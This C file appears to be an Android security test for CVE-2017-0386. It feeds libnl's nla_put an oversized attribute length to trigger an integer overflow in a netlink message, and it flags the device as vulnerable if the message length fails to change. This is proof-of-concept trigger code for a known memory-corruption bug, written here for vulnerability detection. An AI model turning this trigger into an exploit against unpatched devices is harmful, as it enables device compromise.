1 /**
2 * Copyright (C) 2019 The Android Open Source Project
3 *
4 * Licensed under the Apache License, Version 2.0 (the "License");
5 * you may not use this file except in compliance with the License.
6 * You may obtain a copy of the License at
7 *
8 * http://www.apache.org/licenses/LICENSE-2.0
9 *
10 * Unless required by applicable law or agreed to in writing, software
11 * distributed under the License is distributed on an "AS IS" BASIS,
12 * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
13 * See the License for the specific language governing permissions and
14 * limitations under the License.
15 */
16 #define _GNU_SOURCE
17
18 #define LOG_TAG "CVE-2017-0386"
19
20 #include <log/log.h>
21 #include <netlink/attr.h>
22 #include <netlink/msg.h>
23 #include <netlink/netlink.h>
24 #include <netlink/object-api.h>
25 #include <netlink/object.h>
26 #include <netlink/types.h>
27 #include <stdio.h>
28 #include <sys/types.h>
29 #include <sys/wait.h>
30
31 // These are private headers from libnl and make this code fragile.
32 #if __has_include(<netlink-private/types.h>)
33 // Old libnl private header.
34 #include <netlink-private/types.h>
35 #else
36 #include <base/nl-base-utils.h>
37 #include <nl-priv-dynamic-core/nl-core.h>
38 #endif
39
40 #include "../includes/common.h"
41
main(void)42 int main(void) {
43 struct nl_msg *message = NULL;
44 struct nlmsghdr *hdr;
45 char *data = NULL;
46 uint32_t result = 0;
47 int ret = EXIT_SUCCESS;
48 int pagesize = getpagesize();
49 size_t payloadlength = pagesize + 12 - 0x30;
50 size_t payload2length = pagesize;
51
52 message = nlmsg_alloc();
53 if (message == NULL) {
54 ALOGE("Alloc message memory failed");
55 return EXIT_FAILURE;
56 }
57
58 ALOGI("nl_msg.nm_size : %zx\n", message->nm_size);
59 hdr = message->nm_nlh;
60
61 //allocate memory for data with payloadlength
62 data = malloc(payloadlength);
63 if (data == NULL) {
64 ALOGE("Alloc data memory failed");
65 nlmsg_free(message);
66 return EXIT_FAILURE;
67 }
68
69 memset(data, 0x41, payloadlength);
70 nla_put(message, 0x4444, payloadlength, data);
71 result = hdr->nlmsg_len;
72 ALOGI("message address [%p, %p]", hdr, nlmsg_tail(hdr));
73 ALOGI("message len = 0x%x", result);
74
75 free(data);
76 data = NULL;
77
78 //allocate memory for data with payload2length
79 data = malloc(payload2length);
80 if (data == NULL) {
81 ALOGE("Alloc data2 memory failed");
82 nlmsg_free(message);
83 return EXIT_FAILURE;
84 }
85 memset(data, 0x33, payload2length);
86 ALOGI("\n\n\nPutting down overflow.......\n\n\n");
87 nla_put(message, 0x8888, 0xFFFFF000, data);
88
89 ALOGI("message address [%p, %p]", hdr, nlmsg_tail(hdr));
90 ALOGI("message len = 0x%x", hdr->nlmsg_len);
91
92 /*
93 * return 113 error code if length is mismatch
94 */
95 if(result != hdr->nlmsg_len) {
96 ret = EXIT_VULNERABLE;
97 }
98
99 if (!!data) {
100 free(data);
101 data = NULL;
102 }
103
104 if (!!message) {
105 nlmsg_free(message);
106 message = NULL;
107 }
108 return ret;
109 }
110